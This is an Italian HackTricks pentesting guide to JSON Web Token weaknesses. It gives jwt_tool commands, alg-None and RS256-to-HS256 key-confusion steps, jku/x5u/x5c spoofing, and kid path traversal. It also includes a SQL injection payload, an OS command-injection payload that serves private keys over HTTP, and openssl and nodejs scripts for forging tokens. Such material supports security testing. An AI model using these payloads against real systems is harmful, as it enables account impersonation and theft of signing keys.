18 KiB
Vulnerabilità JWT (Json Web Tokens)
Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF controlla i PACCHETTI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
Suggerimento per bug bounty: iscriviti a Intigriti, una piattaforma premium di bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi stesso e inizia a guadagnare ricompense fino a $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Parte di questo post si basa sull'ottimo post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autore dell'ottimo strumento per il pentesting di JWT https://github.com/ticarpi/jwt_tool
Vittorie Veloci
Esegui jwt_tool con la modalità All Tests!
e attendi le linee verdi
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Se hai fortuna, lo strumento troverà alcuni casi in cui l'applicazione web sta controllando in modo errato il JWT:
Successivamente, puoi cercare la richiesta nel tuo proxy o estrarre il JWT utilizzato per quella richiesta utilizzando lo strumento jwt_:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Manipolare i dati senza modificarli
È possibile manipolare i dati lasciando la firma invariata e verificare se il server controlla la firma. Prova a cambiare il tuo nome utente in "admin", ad esempio.
La firma del token viene verificata?
Per verificare se la firma di un JWT viene verificata:
- Un messaggio di errore suggerisce una verifica in corso; è necessario controllare i dettagli sensibili negli errori dettagliati.
- Una modifica nella pagina restituita indica una verifica.
- Nessuna modifica suggerisce l'assenza di verifica; in questo caso è possibile sperimentare con la manipolazione delle affermazioni del payload.
Origine
È importante determinare se il token è stato generato lato server o lato client esaminando la cronologia delle richieste del proxy.
- I token visti per la prima volta lato client suggeriscono che la chiave potrebbe essere esposta al codice lato client, rendendo necessarie ulteriori indagini.
- I token che originano lato server indicano un processo sicuro.
Durata
Verifica se il token dura più di 24 ore... potrebbe non scadere mai. Se c'è un campo "exp", controlla se il server lo gestisce correttamente.
Forzare la chiave segreta HMAC
Modificare l'algoritmo in None (CVE-2015-9235)
Imposta l'algoritmo utilizzato come "None" e rimuovi la parte della firma.
Utilizza l'estensione Burp chiamata "JSON Web Token" per provare questa vulnerabilità e modificare diversi valori all'interno del JWT (invia la richiesta a Repeater e nella scheda "JSON Web Token" puoi modificare i valori del token. Puoi anche selezionare di impostare il valore del campo "Alg" su "None").
Cambiare l'algoritmo da RS256(asimmetrico) a HS256(simmetrico) (CVE-2016-5431/CVE-2016-10555)
L'algoritmo HS256 utilizza la chiave segreta per firmare e verificare ogni messaggio.
L'algoritmo RS256 utilizza la chiave privata per firmare il messaggio e utilizza la chiave pubblica per l'autenticazione.
Se si cambia l'algoritmo da RS256 a HS256, il codice back-end utilizza la chiave pubblica come chiave segreta e quindi utilizza l'algoritmo HS256 per verificare la firma.
Quindi, utilizzando la chiave pubblica e cambiando RS256 in HS256, potremmo creare una firma valida. È possibile recuperare il certificato del server web eseguendo questo comando:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Nuova chiave pubblica all'interno dell'intestazione
Un attaccante inserisce una nuova chiave nell'intestazione del token e il server utilizza questa nuova chiave per verificare la firma (CVE-2018-0114).
Ciò può essere fatto con l'estensione Burp "JSON Web Tokens".
(Invia la richiesta a Repeater, seleziona "CVE-2018-0114" nella scheda JSON Web Token e invia la richiesta).
Spoofing JWKS
Le istruzioni dettagliano un metodo per valutare la sicurezza dei token JWT, in particolare quelli che utilizzano una dichiarazione di intestazione "jku". Questa dichiarazione dovrebbe collegarsi a un file JWKS (JSON Web Key Set) che contiene la chiave pubblica necessaria per la verifica del token.
-
Valutazione dei token con intestazione "jku":
-
Verifica l'URL della dichiarazione "jku" per assicurarti che conduca al file JWKS appropriato.
-
Modifica il valore "jku" del token per indirizzarlo verso un servizio web controllato, consentendo l'osservazione del traffico.
-
Monitoraggio dell'interazione HTTP:
-
L'osservazione delle richieste HTTP al tuo URL specificato indica i tentativi del server di recuperare le chiavi dal link fornito.
-
Quando si utilizza
jwt_tool
per questo processo, è fondamentale aggiornare il filejwtconf.ini
con la posizione personale di JWKS per facilitare il testing. -
Comando per
jwt_tool
: -
Esegui il seguente comando per simulare lo scenario con
jwt_tool
:
python3 jwt_tool.py JWT_QUI -X s
Panoramica dei problemi di "kid"
Una dichiarazione di intestazione opzionale nota come kid
viene utilizzata per identificare una chiave specifica, che diventa particolarmente vitale in ambienti in cui esistono più chiavi per la verifica della firma del token. Questa dichiarazione aiuta a selezionare la chiave appropriata per verificare la firma di un token.
Rivelazione della chiave tramite "kid"
Quando la dichiarazione kid
è presente nell'intestazione, si consiglia di cercare il file corrispondente o le sue varianti nel directory web. Ad esempio, se è specificato "kid":"key/12345"
, si dovrebbero cercare i file /key/12345 e /key/12345.pem nella root web.
Traversal del percorso con "kid"
La dichiarazione kid
potrebbe anche essere sfruttata per navigare nel sistema di file, consentendo potenzialmente la selezione di un file arbitrario. È possibile testare la connettività o eseguire attacchi di Server-Side Request Forgery (SSRF) modificando il valore kid
per indirizzare file o servizi specifici. È possibile alterare il JWT per cambiare il valore kid
mantenendo la firma originale utilizzando l'opzione -T
in jwt_tool, come mostrato di seguito:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Attraverso il miraggio di file con contenuti prevedibili, è possibile falsificare un JWT valido. Ad esempio, il file /proc/sys/kernel/randomize_va_space
nei sistemi Linux, noto per contenere il valore 2, può essere utilizzato nel parametro kid
con 2 come password simmetrica per la generazione del JWT.
SQL Injection tramite "kid"
Se il contenuto del claim kid
viene utilizzato per recuperare una password da un database, è possibile facilitare un'SQL injection modificando il payload kid
. Un esempio di payload che utilizza un'SQL injection per alterare il processo di firma del JWT include:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Questa modifica forza l'utilizzo di una chiave segreta nota, ATTACKER
, per la firma del JWT.
OS Injection tramite "kid"
Uno scenario in cui il parametro kid
specifica un percorso di file utilizzato all'interno di un contesto di esecuzione di comandi potrebbe portare a vulnerabilità di Remote Code Execution (RCE). Iniettando comandi nel parametro kid
, è possibile esporre chiavi private. Un esempio di payload per ottenere RCE e l'esposizione delle chiavi è:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u e jku
jku
jku sta per JWK Set URL.
Se il token utilizza un claim di intestazione "jku", verifica l'URL fornito. Questo dovrebbe puntare a un URL contenente il file JWKS che contiene la chiave pubblica per la verifica del token. Modifica il token in modo che il valore jku punti a un servizio web in cui puoi monitorare il traffico.
Prima devi creare un nuovo certificato con nuove chiavi private e pubbliche
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Quindi puoi utilizzare ad esempio jwt.io per creare il nuovo JWT con le chiavi pubbliche e private create e puntando il parametro jku al certificato creato. Per creare un certificato jku valido, puoi scaricare quello originale e modificare i parametri necessari.
Puoi ottenere i parametri "e" e "n" da un certificato pubblico utilizzando:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
URL X.509. Un URI che punta a un insieme di certificati pubblici X.509 (uno standard di formato di certificato) codificati in formato PEM. Il primo certificato nell'insieme deve essere quello utilizzato per firmare questo JWT. I certificati successivi firmano ciascuno quello precedente, completando così la catena di certificati. X.509 è definito in RFC 52807. È necessaria la sicurezza del trasporto per trasferire i certificati.
Prova a cambiare questo header con un URL sotto il tuo controllo e controlla se viene ricevuta una richiesta. In tal caso, potresti manipolare il JWT.
Per forgiare un nuovo token utilizzando un certificato controllato da te, devi creare il certificato ed estrarre le chiavi pubbliche e private:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Quindi puoi utilizzare ad esempio jwt.io per creare il nuovo JWT con le chiavi pubbliche e private create e puntando il parametro x5u al certificato .crt creato.
Puoi anche sfruttare entrambe queste vulnerabilità per gli SSRF.
x5c
Questo parametro può contenere il certificato in base64:
Se l'attaccante genera un certificato autofirmato e crea un token forgiato utilizzando la corrispondente chiave privata e sostituisce il valore del parametro "x5c" con il certificato appena generato e modifica gli altri parametri, ovvero n, e e x5t, allora essenzialmente il token forgiato verrà accettato dal server.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Chiave pubblica incorporata (CVE-2018-0114)
Se il JWT ha incorporata una chiave pubblica come nello scenario seguente:
Utilizzando lo script nodejs seguente è possibile generare una chiave pubblica da quei dati:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
È possibile generare una nuova chiave privata/pubblica, incorporare la nuova chiave pubblica all'interno del token e utilizzarla per generare una nuova firma:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Puoi ottenere il "n" e il "e" utilizzando questo script nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Infine, utilizzando la chiave pubblica e privata e i nuovi valori "n" e "e", è possibile utilizzare jwt.io per forgiare un nuovo JWT valido con qualsiasi informazione.
JTI (JWT ID)
Il claim JTI (JWT ID) fornisce un identificatore univoco per un token JWT. Può essere utilizzato per evitare che il token venga riprodotto.
Tuttavia, immaginiamo una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). La richiesta 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, è possibile sfruttare questo per riprodurre una richiesta (è necessario inviare 10000 richieste tra ogni riproduzione riuscita).
Claim registrati JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
Altri attacchi
Attacchi di reindirizzamento tra servizi
È stato osservato che alcune applicazioni web si affidano a un servizio JWT affidabile per la generazione e la gestione dei loro token. Sono stati registrati casi in cui un token, generato per un cliente dal servizio JWT, è stato accettato da un altro cliente dello stesso servizio JWT. Se viene osservata l'emissione o il rinnovo di un JWT tramite un servizio di terze parti, è opportuno indagare sulla possibilità di registrarsi per un account su un altro client di quel servizio utilizzando lo stesso nome utente/email. Successivamente, si dovrebbe tentare di riprodurre il token ottenuto in una richiesta al target per verificare se viene accettato.
- L'accettazione del tuo token potrebbe indicare un problema critico, consentendo potenzialmente la falsificazione dell'account di qualsiasi utente. Tuttavia, va notato che potrebbe essere necessaria l'autorizzazione per test più ampi se ci si registra su un'applicazione di terze parti, poiché potrebbe entrare in una zona grigia legale.
Controllo della scadenza dei token
La scadenza del token viene verificata utilizzando il claim Payload "exp". Dato che i JWT vengono spesso utilizzati senza informazioni di sessione, è necessaria una gestione attenta. In molti casi, catturare e riprodurre il JWT di un altro utente potrebbe consentire l'usurpazione di quell'utente. L'RFC di JWT raccomanda di mitigare gli attacchi di riproduzione di JWT utilizzando il claim "exp" per impostare un tempo di scadenza per il token. Inoltre, l'implementazione di controlli pertinenti da parte dell'applicazione per garantire l'elaborazione di questo valore e il rifiuto dei token scaduti è cruciale. Se il token include un claim "exp" e i limiti di tempo dei test lo consentono, si consiglia di memorizzare il token e riprodurlo dopo che il tempo di scadenza è trascorso. Il contenuto del token, compreso il parsing del timestamp e il controllo della scadenza (timestamp in UTC), può essere letto utilizzando l'opzione -R di jwt_tool.
- Potrebbe essere presente un rischio per la sicurezza se l'applicazione continua a convalidare il token, poiché potrebbe implicare che il token non potrebbe mai scadere.
Strumenti
{% embed url="https://github.com/ticarpi/jwt_tool" %}
Consiglio per bug bounty: iscriviti a Intigriti, una piattaforma premium di bug bounty creata da hacker, per hacker! Unisciti a noi su https://go.intigriti.com/hacktricks oggi stesso e inizia a guadagnare ricompense fino a $100.000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di esclusive NFT
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud github repos.